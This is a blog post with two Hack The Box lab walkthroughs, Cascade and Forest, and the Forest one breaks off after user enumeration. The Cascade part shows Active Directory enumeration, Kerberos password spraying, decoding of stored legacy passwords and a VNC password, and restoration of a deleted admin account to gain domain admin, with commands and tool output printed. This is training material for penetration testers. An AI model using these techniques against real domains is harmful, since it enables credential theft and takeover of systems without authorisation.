Forem: Michael Oladele

HTB - Cascade walkthrough

Michael Oladele — Thu, 07 May 2026 11:27:04 +0000

Initial Enumeration

┌─[eu-dedivip-4]─[10.10.15.199]─[iamdayone@htb-ry9shcrlcd]─[~]
└──╼ [★]$ nmap -A -p- 10.129.29.246
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-05-06 18:59 CDT
Nmap scan report for 10.129.29.246
Host is up (0.0082s latency).
Not shown: 65520 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-05-07 00:01:21Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
49165/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 8|Phone|7|2008|8.1|Vista (92%)
OS CPE: cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1
Aggressive OS guesses: Microsoft Windows 8.1 Update 1 (92%), Microsoft Windows Phone 7.5 or 8.0 (92%), Microsoft Windows Embedded Standard 7 (91%), Microsoft Windows 7 or Windows Server 2008 R2 (89%), Microsoft Windows Server 2008 R2 (89%), Microsoft Windows Server 2008 R2 or Windows 8.1 (89%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (89%), Microsoft Windows 7 (89%), Microsoft Windows 7 Professional or Windows 8 (89%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-05-07T00:02:17
|_  start_date: 2026-05-06T23:56:22
|_clock-skew: 2s
| smb2-security-mode: 
|   2:1:0: 
|_    Message signing enabled and required

TRACEROUTE (using port 445/tcp)
HOP RTT     ADDRESS
1   8.51 ms 10.10.14.1
2   8.66 ms 10.129.29.246

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 203.64 seconds

We got the following from the above scan:

This AD machine
Domain: cascade.local

Let's enumerate further:

We futher confirm the domain with ldapsearch

┌─[eu-dedivip-4]─[10.10.15.199]─[iamdayone@htb-ry9shcrlcd]─[~]
└──╼ [★]$ ldapsearch -x -H ldap://10.129.29.246 -s base -b "" "(objectClass=*)" namingContexts
# extended LDIF
#
# LDAPv3
# base <> with scope baseObject
# filter: (objectClass=*)
# requesting: namingContexts 
#

#
dn:
namingContexts: DC=cascade,DC=local
namingContexts: CN=Configuration,DC=cascade,DC=local
namingContexts: CN=Schema,CN=Configuration,DC=cascade,DC=local
namingContexts: DC=DomainDnsZones,DC=cascade,DC=local
namingContexts: DC=ForestDnsZones,DC=cascade,DC=local

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

As part of enumeration, I checked cascadeLegacyPwd with ldapsearch and got back Ryan Thompson password: clk0bjVldmE=

The password seems to be encoded with base64, so let's decode it

echo "clk0bjVldmE=" | base64 -d

We got back Ryan plaintext password: rY4n5eva

Now that we have a valid credentials, let's enumerate further with ldapsearch:

──╼ [★]$ ldapsearch -x -H ldap://10.129.29.246 -b "dc=cascade,dc=local" "(cascadeLegacyPwd=*)" cascadeLegacyPwd
# extended LDIF
#
# LDAPv3
# base <dc=cascade,dc=local> with scope subtree
# filter: (cascadeLegacyPwd=*)
# requesting: cascadeLegacyPwd 
#

# Ryan Thompson, Users, UK, cascade.local
dn: CN=Ryan Thompson,OU=Users,OU=UK,DC=cascade,DC=local
cascadeLegacyPwd: clk0bjVldmE=

# search reference
ref: ldap://ForestDnsZones.cascade.local/DC=ForestDnsZones,DC=cascade,DC=local

# search reference
ref: ldap://DomainDnsZones.cascade.local/DC=DomainDnsZones,DC=cascade,DC=local

# search reference
ref: ldap://cascade.local/CN=Configuration,DC=cascade,DC=local

# search result
search: 2
result: 0 Success

# numResponses: 5
# numEntries: 1
# numReferences: 3

I was able to get some users back with RPCClient:

┌─[eu-dedivip-4]─[10.10.15.199]─[iamdayone@htb-ry9shcrlcd]─[~]
└──╼ [★]$ rpcclient -U "" -N 10.129.29.246
rpcclient $> 
rpcclient $> enumdomusers
user:[CascGuest] rid:[0x1f5]
user:[arksvc] rid:[0x452]
user:[s.smith] rid:[0x453]
user:[r.thompson] rid:[0x455]
user:[util] rid:[0x457]
user:[j.wakefield] rid:[0x45c]
user:[s.hickson] rid:[0x461]
user:[j.goodhand] rid:[0x462]
user:[a.turnbull] rid:[0x464]
user:[e.crowe] rid:[0x467]
user:[b.hanson] rid:[0x468]
user:[d.burman] rid:[0x469]
user:[BackupSvc] rid:[0x46a]
user:[j.allen] rid:[0x46e]
user:[i.croft] rid:[0x46f]
I further enumerate domain with enum4linux and I got back some users and some domains info:
┌─[eu-dedivip-4]─[10.10.15.199]─[iamdayone@htb-ry9shcrlcd]─[~]
└──╼ [★]$ enum4linux 10.129.29.246
ENUM4LINUX - next generation (v1.3.4)

 ==========================
|    Target Information    |
 ==========================
[*] Target ........... 10.129.29.246
[*] Username ......... ''
[*] Random Username .. 'pnpssmjg'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)

 ======================================
|    Listener Scan on 10.129.29.246    |
 ======================================
[*] Checking LDAP
[+] LDAP is accessible on 389/tcp
[*] Checking LDAPS
[+] LDAPS is accessible on 636/tcp
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp

 =====================================================
|    Domain Information via LDAP for 10.129.29.246    |
 =====================================================
[*] Trying LDAP
[+] Appears to be root/parent DC
[+] Long domain name is: cascade.local

 ============================================================
|    NetBIOS Names and Workgroup/Domain for 10.129.29.246    |
 ============================================================
[-] Could not get NetBIOS names information via 'nmblookup': timed out

 ==========================================
|    SMB Dialect Check on 10.129.29.246    |
 ==========================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
Supported dialects:
  SMB 1.0: false
  SMB 2.02: true
  SMB 2.1: true
  SMB 3.0: false
  SMB 3.1.1: false
Preferred dialect: SMB 2.1
SMB1 only: false
SMB signing required: true

 ============================================================
|    Domain Information via SMB session for 10.129.29.246    |
 ============================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: CASC-DC1
NetBIOS domain name: CASCADE
DNS domain: cascade.local
FQDN: CASC-DC1.cascade.local
Derived membership: domain member
Derived domain: CASCADE

 ==========================================
|    RPC Session Check on 10.129.29.246    |
 ==========================================
[*] Check for null session
[+] Server allows session using username '', password ''
[*] Check for random user
[-] Could not establish random user session: STATUS_LOGON_FAILURE

 ====================================================
|    Domain Information via RPC for 10.129.29.246    |
 ====================================================
[+] Domain: CASCADE
[+] Domain SID: S-1-5-21-3332504370-1206983947-1165150453
[+] Membership: domain member

 ================================================
|    OS Information via RPC for 10.129.29.246    |
 ================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found OS information via SMB
[*] Enumerating via 'srvinfo'
[-] Could not get OS info via 'srvinfo': STATUS_ACCESS_DENIED
[+] After merging OS information we have the following result:
OS: Windows 7, Windows Server 2008 R2
OS version: '6.1'
OS release: ''
OS build: '7601'
Native OS: not supported
Native LAN manager: not supported
Platform id: null
Server type: null
Server type string: null

 ======================================
|    Users via RPC on 10.129.29.246    |
 ======================================
[*] Enumerating users via 'querydispinfo'
[+] Found 15 user(s) via 'querydispinfo'
[*] Enumerating users via 'enumdomusers'
[+] Found 15 user(s) via 'enumdomusers'
[+] After merging user results we have 15 user(s) total:
'1106':
  username: arksvc
  name: ArkSvc
  acb: '0x00000210'
  description: (null)
'1107':
  username: s.smith
  name: Steve Smith
  acb: '0x00000210'
  description: (null)
'1109':
  username: r.thompson
  name: Ryan Thompson
  acb: '0x00000210'
  description: (null)
'1111':
  username: util
  name: Util
  acb: '0x00000210'
  description: (null)
'1116':
  username: j.wakefield
  name: James Wakefield
  acb: '0x00000210'
  description: (null)
'1121':
  username: s.hickson
  name: Stephanie Hickson
  acb: '0x00000210'
  description: (null)
'1122':
  username: j.goodhand
  name: John Goodhand
  acb: '0x00000210'
  description: (null)
'1124':
  username: a.turnbull
  name: Adrian Turnbull
  acb: '0x00000214'
  description: (null)
'1127':
  username: e.crowe
  name: Edward Crowe
  acb: '0x00000211'
  description: (null)
'1128':
  username: b.hanson
  name: Ben Hanson
  acb: '0x00000211'
  description: (null)
'1129':
  username: d.burman
  name: David Burman
  acb: '0x00000210'
  description: (null)
'1130':
  username: BackupSvc
  name: BackupSvc
  acb: '0x00000210'
  description: (null)
'1134':
  username: j.allen
  name: Joseph Allen
  acb: '0x00000210'
  description: (null)
'1135':
  username: i.croft
  name: Ian Croft
  acb: '0x00000211'
  description: (null)
'501':
  username: CascGuest
  name: (null)
  acb: '0x00000215'
  description: Built-in account for guest access to the computer/domain

 =======================================
|    Groups via RPC on 10.129.29.246    |
 =======================================
[*] Enumerating local groups
[+] Found 17 group(s) via 'enumalsgroups domain'
[*] Enumerating builtin groups
[+] Found 15 group(s) via 'enumalsgroups builtin'
[*] Enumerating domain groups
[+] Found 6 group(s) via 'enumdomgroups'
[+] After merging groups results we have 38 group(s) total:
'1102':
  groupname: DnsAdmins
  type: local
'1103':
  groupname: DnsUpdateProxy
  type: domain
'1113':
  groupname: IT
  type: local
'1114':
  groupname: Production
  type: local
'1115':
  groupname: HR
  type: local
'1119':
  groupname: AD Recycle Bin
  type: local
'1120':
  groupname: Backup
  type: local
'1123':
  groupname: Temps
  type: local
'1125':
  groupname: WinRMRemoteWMIUsers__
  type: local
'1126':
  groupname: Remote Management Users
  type: local
'1132':
  groupname: Factory
  type: local
'1133':
  groupname: Finance
  type: local
'1137':
  groupname: Audit Share
  type: local
'1138':
  groupname: Data Share
  type: local
'498':
  groupname: Enterprise Read-only Domain Controllers
  type: domain
'513':
  groupname: Domain Users
  type: domain
'514':
  groupname: Domain Guests
  type: domain
'515':
  groupname: Domain Computers
  type: domain
'517':
  groupname: Cert Publishers
  type: local
'520':
  groupname: Group Policy Creator Owners
  type: domain
'545':
  groupname: Users
  type: builtin
'546':
  groupname: Guests
  type: builtin
'553':
  groupname: RAS and IAS Servers
  type: local
'554':
  groupname: Pre-Windows 2000 Compatible Access
  type: builtin
'555':
  groupname: Remote Desktop Users
  type: builtin
'556':
  groupname: Network Configuration Operators
  type: builtin
'557':
  groupname: Incoming Forest Trust Builders
  type: builtin
'558':
  groupname: Performance Monitor Users
  type: builtin
'559':
  groupname: Performance Log Users
  type: builtin
'560':
  groupname: Windows Authorization Access Group
  type: builtin
'561':
  groupname: Terminal Server License Servers
  type: builtin
'562':
  groupname: Distributed COM Users
  type: builtin
'568':
  groupname: IIS_IUSRS
  type: builtin
'569':
  groupname: Cryptographic Operators
  type: builtin
'571':
  groupname: Allowed RODC Password Replication Group
  type: local
'572':
  groupname: Denied RODC Password Replication Group
  type: local
'573':
  groupname: Event Log Readers
  type: builtin
'574':
  groupname: Certificate Service DCOM Access
  type: builtin

 =======================================
|    Shares via RPC on 10.129.29.246    |
 =======================================
[*] Enumerating shares
[+] Found 0 share(s) for user '' with password '', try a different user

 ==========================================
|    Policies via RPC for 10.129.29.246    |
 ==========================================
[*] Trying port 445/tcp
[+] Found policy:
Domain password information:
  Password history length: None
  Minimum password length: 5
  Maximum password age: not set
  Password properties:
  - DOMAIN_PASSWORD_COMPLEX: false
  - DOMAIN_PASSWORD_NO_ANON_CHANGE: false
  - DOMAIN_PASSWORD_NO_CLEAR_CHANGE: false
  - DOMAIN_PASSWORD_LOCKOUT_ADMINS: false
  - DOMAIN_PASSWORD_PASSWORD_STORE_CLEARTEXT: false
  - DOMAIN_PASSWORD_REFUSE_PASSWORD_CHANGE: false
Domain lockout information:
  Lockout observation window: 30 minutes
  Lockout duration: 30 minutes
  Lockout threshold: None
Domain logoff information:
  Force logoff time: not set

 ==========================================
|    Printers via RPC for 10.129.29.246    |
 ==========================================
[-] Could not get printer info via 'enumprinters': STATUS_ACCESS_DENIED

Completed after 6.83 seconds

Let's format the domain usernames:


grep "username:" users.txt | awk '{gsub(/^\$/, "", $2); print $2}' > usernames.txt

With the list ready, let's confirm which names are valid with kerbrute:

┌─[eu-dedivip-4]─[10.10.15.199]─[iamdayone@htb-ry9shcrlcd]─[~]
└──╼ [★]$ ./kerbrute userenum -d cascade.local domain_users.txt --dc 10.129.29.246

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 05/06/26 - Ronnie Flathers @ropnop

2026/05/06 19:34:50 >  Using KDC(s):
2026/05/06 19:34:50 >   10.129.29.246:88

2026/05/06 19:34:55 >  [+] VALID USERNAME:   s.smith@cascade.local
2026/05/06 19:34:55 >  [+] VALID USERNAME:   arksvc@cascade.local
2026/05/06 19:34:55 >  [+] VALID USERNAME:   j.goodhand@cascade.local
2026/05/06 19:34:55 >  [+] VALID USERNAME:   a.turnbull@cascade.local
2026/05/06 19:34:55 >  [+] VALID USERNAME:   s.hickson@cascade.local
2026/05/06 19:34:55 >  [+] VALID USERNAME:   util@cascade.local
2026/05/06 19:34:55 >  [+] VALID USERNAME:   r.thompson@cascade.local
2026/05/06 19:34:55 >  [+] VALID USERNAME:   j.wakefield@cascade.local
2026/05/06 19:35:00 >  [+] VALID USERNAME:   BackupSvc@cascade.local
2026/05/06 19:35:00 >  [+] VALID USERNAME:   d.burman@cascade.local
2026/05/06 19:35:00 >  [+] VALID USERNAME:   j.allen@cascade.local
2026/05/06 19:35:00 >  Done! Tested 15 usernames (11 valid) in 10.036 seconds

Out of 15names, we got back 11 valid name, let's move to AS-REP Roasting with GetNPUsers.py and no luck.

Let's try the Ryan password we got earlier to see if there is a password re-use

┌─[eu-dedivip-4]─[10.10.15.199]─[iamdayone@htb-ry9shcrlcd]─[~]
└──╼ [★]$ ./kerbrute passwordspray -d cascade.local --dc 10.129.29.246 valid_names.txt "rY4n5eva"

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 05/06/26 - Ronnie Flathers @ropnop

2026/05/06 20:22:23 >  Using KDC(s):
2026/05/06 20:22:23 >   10.129.29.246:88

2026/05/06 20:22:36 >  [+] VALID LOGIN:  r.thompson@cascade.local:rY4n5eva
2026/05/06 20:22:43 >  Done! Tested 11 logins (1 successes) in 20.084 seconds

We confirm no password re-use and also confirm that thompson password is valid, so we have our first credentials r.thompson:rY4n5eva

I tried to get into the host with evil_winrm and RDP but no luck so I tried to see what shared do I have READ access to via crackmapexec:

┌─[eu-dedivip-4]─[10.10.15.199]─[iamdayone@htb-ry9shcrlcd]─[~]
└──╼ [★]$ crackmapexec smb 10.129.29.246 -u 'r.thompson' -p 'rY4n5eva' --shares
SMB         10.129.29.246   445    CASC-DC1         [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)
SMB         10.129.29.246   445    CASC-DC1         [+] cascade.local\r.thompson:rY4n5eva 
SMB         10.129.29.246   445    CASC-DC1         [*] Enumerated shares
SMB         10.129.29.246   445    CASC-DC1         Share           Permissions     Remark
SMB         10.129.29.246   445    CASC-DC1         -----           -----------     ------
SMB         10.129.29.246   445    CASC-DC1         ADMIN$                          Remote Admin
SMB         10.129.29.246   445    CASC-DC1         Audit$                          
SMB         10.129.29.246   445    CASC-DC1         C$                              Default share
SMB         10.129.29.246   445    CASC-DC1         Data            READ            
SMB         10.129.29.246   445    CASC-DC1         IPC$                            Remote IPC
SMB         10.129.29.246   445    CASC-DC1         NETLOGON        READ            Logon server share 
SMB         10.129.29.246   445    CASC-DC1         print$          READ            Printer Drivers
SMB         10.129.29.246   445    CASC-DC1         SYSVOL          READ            Logon server share

r.thompson has read access on Data, so let's get into data with SMBclient and start our enumeration:

During enumeration, I found a Meeting_Notes_June_2018.html in the IT folder, when I downloaded, I found a new username:TempAdmin in the note, saying the user TempAdmin has the same right as the domain admin

Futher enumeration reveal another file VNC Install.reg in s.smith folder, I downloaded the file, and I found a registry export contains a TightVNC encrypted password

Using a TightVNC decryptor on those hex bytes, yields the password: sT333ve2

Let's confirm if the password is valid with kerbrute.


┌─[eu-dedivip-4]─[10.10.15.199]─[iamdayone@htb-ry9shcrlcd]─[~]
└──╼ [★]$ ./kerbrute passwordspray -d cascade.local --dc 10.129.29.246 valid_names.txt "sT333ve2"

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 05/06/26 - Ronnie Flathers @ropnop

2026/05/06 21:18:27 >  Using KDC(s):
2026/05/06 21:18:27 >   10.129.29.246:88

2026/05/06 21:18:37 >  [+] VALID LOGIN:  s.smith@cascade.local:sT333ve2
2026/05/06 21:18:47 >  Done! Tested 11 logins (1 successes) in 20.096 seconds

We got s.smith back as the valid owner of the newly found password: sT333ve2

Now we have another user, I tried to get shell with evil-winrm, and it was successful

Let's start enumerating, I log to SMB with the newly found credentials for further enumeration,

I found DB, inside DB folder, I found Audit.db so I downloaded it and access with sqlite3 on my local system:

I found the service account credentials for ArkSvc. The string BQO5l5Kj9MdErXx6Q6AGOw== is definitely encrypted or encoded, and since it’s stored in a database alongside a custom crypto DLL (CascCrypto.dll), it’s likely encrypted using a hardcoded key.

I read how to get the key, I found that the decryption logic is most likely be hidden inside CascCrypto.dll , so I went hunting CascCrypto.dll

Going back to SMB, the file, CascCrypto.dll is seated in the same folder with the DB, so I downloaded it

I ran the code below to get the string to decode

strings -e l CascCrypto.dll

I got the string 1tdyjCbY1Ix49842 back. After many readings, finally, I was able to decrypt the string and got back plaintext password: w3lc0meFr31nd

We have another set of credentials ArkSvc:w3lc0meFr31nd
I was able to get shell with the newly found password

Remember we saw a Meeting_Notes_June_2018.html in the SMB earlier that talk about TempAdmin with the newly found credentials ArkSvc, and because ArkSvc user is part of CASCADE\AD Recycle Bin let's try to check if we can find the TempAdmin account in the recycle bin, if we are to do that, we can get back it's password as well:


PS C:\Users\arksvc\Documents> Get-ADObject -Filter 'isDeleted -eq $true -and name -like "*TempAdmin*"' -IncludeDeletedObjects -Properties *


accountExpires                  : 9223372036854775807
badPasswordTime                 : 0
badPwdCount                     : 0
CanonicalName                   : cascade.local/Deleted Objects/TempAdmin
                                  DEL:f0cc344d-31e0-4866-bceb-a842791ca059
cascadeLegacyPwd                : YmFDVDNyMWFOMDBkbGVz
CN                              : TempAdmin
                                  DEL:f0cc344d-31e0-4866-bceb-a842791ca059
codePage                        : 0
countryCode                     : 0
Created                         : 1/27/2020 3:23:08 AM
createTimeStamp                 : 1/27/2020 3:23:08 AM
Deleted                         : True
Description                     :
DisplayName                     : TempAdmin
DistinguishedName               : CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local
dSCorePropagationData           : {1/27/2020 3:23:08 AM, 1/1/1601 12:00:00 AM}
givenName                       : TempAdmin
instanceType                    : 4
isDeleted                       : True
LastKnownParent                 : OU=Users,OU=UK,DC=cascade,DC=local
lastLogoff                      : 0
lastLogon                       : 0
logonCount                      : 0
Modified                        : 1/27/2020 3:24:34 AM
modifyTimeStamp                 : 1/27/2020 3:24:34 AM
msDS-LastKnownRDN               : TempAdmin
Name                            : TempAdmin
                                  DEL:f0cc344d-31e0-4866-bceb-a842791ca059
nTSecurityDescriptor            : System.DirectoryServices.ActiveDirectorySecurity
ObjectCategory                  :
ObjectClass                     : user
ObjectGUID                      : f0cc344d-31e0-4866-bceb-a842791ca059
objectSid                       : S-1-5-21-3332504370-1206983947-1165150453-1136
primaryGroupID                  : 513
ProtectedFromAccidentalDeletion : False
pwdLastSet                      : 132245689883479503
sAMAccountName                  : TempAdmin
sDRightsEffective               : 0
userAccountControl              : 66048
userPrincipalName               : TempAdmin@cascade.local
uSNChanged                      : 237705
uSNCreated                      : 237695
whenChanged                     : 1/27/2020 3:24:34 AM
whenCreated                     : 1/27/2020 3:23:08 AM

we found cascadeLegacyPwd : YmFDVDNyMWFOMDBkbGVz for TempAdmin, the string looks like base64, let's decode it. The decoded plaintext is baCT3r1aN00dles

Do you remember this phrase in the meeting note Username is TempAdmin (password is the same as the normal admin account password).

So with the TempAdmin credentials have the same right as the Domain Admin. Let try to get on the host with TempAdmin : baCT3r1aN00dles

We are domain Admin.. Game over!!!!

HTB - Forest Walkthrough

Michael Oladele — Wed, 06 May 2026 15:01:00 +0000

Starting of HTB Active Directory Track . preparation for PNPT — OSCP Certifications. Let's dive in.

Initial Enumeration:

The first step will always be your Nmap scan:

┌─[eu-dedivip-4]─[10.10.15.199]─[iamdayone@htb-eqxvgplaz4]─[~]
└──╼ [★]$ nmap -A -p- 10.129.29.48
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-05-05 10:12 CDT
Nmap scan report for 10.129.29.48
Host is up (0.0079s latency).
Not shown: 65512 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2026-05-05 15:19:47Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf       .NET Message Framing
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49671/tcp open  msrpc        Microsoft Windows RPC
49676/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49677/tcp open  msrpc        Microsoft Windows RPC
49681/tcp open  msrpc        Microsoft Windows RPC
49698/tcp open  msrpc        Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=5/5%OT=53%CT=1%CU=33149%PV=Y%DS=2%DC=T%G=Y%TM=69FA0
OS:940%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=108%TI=I%CI=I%II=I%SS=S%T
OS:S=A)OPS(O1=M552NW8ST11%O2=M552NW8ST11%O3=M552NW8NNT11%O4=M552NW8ST11%O5=
OS:M552NW8ST11%O6=M552ST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2
OS:000)ECN(R=Y%DF=Y%T=80%W=2000%O=M552NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A
OS:=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%
OS:Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=
OS:A%A=O%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%R
OS:IPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)

Network Distance: 2 hops
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: 2h26m49s, deviation: 4h02m30s, median: 6m48s
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
|_  System time: 2026-05-05T08:20:49-07:00
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-time: 
|   date: 2026-05-05T15:20:50
|_  start_date: 2026-05-05T15:17:45

TRACEROUTE (using port 256/tcp)
HOP RTT     ADDRESS
1   7.57 ms 10.10.14.1
2   7.80 ms 10.129.29.48

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 91.15 seconds

With the scan above, we confirm that this is an AD machine with the following info:

Port: 88 => open
port 389 => open
Domain name: htb.local
Computer name: FOREST

LDAP Enumeration:

──╼ [★]$ ldapsearch -x -H ldap://10.129.29.48 -s base -b "" "(objectClass=*)" namingContexts
# extended LDIF
#
# LDAPv3
# base <> with scope baseObject
# filter: (objectClass=*)
# requesting: namingContexts 
#

#
dn:
namingContexts: DC=htb,DC=local
namingContexts: CN=Configuration,DC=htb,DC=local
namingContexts: CN=Schema,CN=Configuration,DC=htb,DC=local
namingContexts: DC=DomainDnsZones,DC=htb,DC=local
namingContexts: DC=ForestDnsZones,DC=htb,DC=local

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

With the scan above, I was able to confirm the Domain name: htb.local

I tried SMB enumeration but no luck from that angle.

─[eu-dedivip-4]─[10.10.15.199]─[iamdayone@htb-eqxvgplaz4]─[~]
└──╼ [★]$ smbclient -L //10.129.29.48 -N
Anonymous login successful

    Sharename       Type      Comment
    ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.29.48 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

RPC Enumeration

I moved on to check RPC null session and I got back some users:

┌─[eu-dedivip-4]─[10.10.15.199]─[iamdayone@htb-eqxvgplaz4]─[~]
└──╼ [★]$ rpcclient -U "" -N 10.129.29.48
rpcclient $> usersenum
command not found: usersenum
rpcclient $> hellp
command not found: hellp
rpcclient $> help
---------------     ----------------------
       UNIXINFO     
       getpwuid     Get shell and homedir
       uidtosid     Convert uid to sid
---------------     ----------------------


rpcclient $> enumdomusers
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
